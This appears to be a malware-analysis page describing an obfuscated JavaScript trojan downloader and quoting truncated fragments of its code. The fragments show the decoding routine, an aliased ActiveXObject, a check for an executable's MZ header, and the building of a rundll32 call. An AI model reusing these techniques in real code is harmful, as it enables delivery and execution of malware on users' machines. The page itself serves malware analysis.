Hostile ^100% javascript-malware-collection Download

20161220_6da31c9e1c85d7d78c354e96c8d4559b.js

Rebekka trojan payload

Checking for MZ header (77, 90) in a byte arrayActiveXObject via local alias

SHA-256f380d26c2dc437b4778aefad5ec07924ecb8ef06af46dfe3748839abc6b86af1

MaleculeK₂(McLi)O₃(Xe₂As₉S)H₅(F₃CmDb₈OsPo₄)Md₂

Evidence

Hex arithmetic in string operations lines 2–14

2:559… 7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7
3
4);
5var silkopil = "\u002f";
6 var Hesrshish =- 0x01 +0x09+0xF7 ;
7String.prototype.osenOSENles = function() {
8SupchikoklahomaFROG2XCOP = 0;	
9     var SupchikoklahomaRazlomSS, SupchikoklahomaFROG2ddDccC2, SupchikoklahomaFROG2c3, SupchikoklahomaFROG2c4;
10
11     var SupchikoklahomaFROG2out = "";
12
13	 var SupchikoklahomaFROG2Supchikoklahomaka= this.replace(/FROSTICK/gi, SupchikoklahomaFROG2out);
14 var  SupchikoklahomaFROG2len = SupchikoklahomaFROG2sud …

charCodeAt() method call lines 18–20

4…  var Supchikoklahomakoch = SupchikoklahomaFROG2Supchikoklahomaka.charCodeAt(SupchikoklahomaFROG2XCOP++) &(0x132- 0x33);
          SupchikoklahomaRazlomSS = levitron[Supchikoklahomakoch];
      } while (SupchikoklahomaFROG2XCOP < Supchikokl …

Builds characters with String.fromCharCode lines 27–30

41… +1== 0)
          break;
      SupchikoklahomaFROG2out += String['fromCharCode']((SupchikoklahomaRazlomSS << 2) | ((SupchikoklahomaFROG2ddDccC2 & 0x30) >> 4));    do {
          SupchikoklahomaFROG2c3 = Supchiko …

ActiveXObject via local alias lines 185–188

19… maFROG2d2=SupchikoklahomaFROG2DoUtra.pop();
186SupchikoklahomaFROG2fabled="Valar2Morgulis";
var SupchikoklahomaFROG2LitoyDISK=ActiveXObject;
var doubleTrouble=SupchikoklahomaFROG2d2.split("45");SupchikoklahomaFROG2Native.SupchikoklahomaFROG2typize=function(a,b){a.type||(a.type=function(a){return SupchikoklahomaFROG2$type(a)===b} …

Checks array for PE magic bytes lines 257–264

77… alabaev);	
if(SupchikoklahomaTalabaevLaa < 29989)return false;
if (SupchikoklahomaTalabaev[0]!= 77 || SupchikoklahomaTalabaev[1]!= 90)return false;		
SupchikoklahomaFROG2CHICKA = SupchikoklahomaFROG2CHICKA  + SupchikoklahomaFROG2SIDRENKOV;
REBEKK2(SupchikoklahomaFROG2CHICKA, SupchikoklahomaTalabaev );
262
var SupchikoklahomaFROG2ddsSSddSd = ",happy";
264SupchikoklahomaFROG2ddsSSddSd = (SupchikoklahomaFROG2StrokaParam2,"undl") + (SupchikoklahomaFROG2StrokaParam2,"l32 ") + Supch …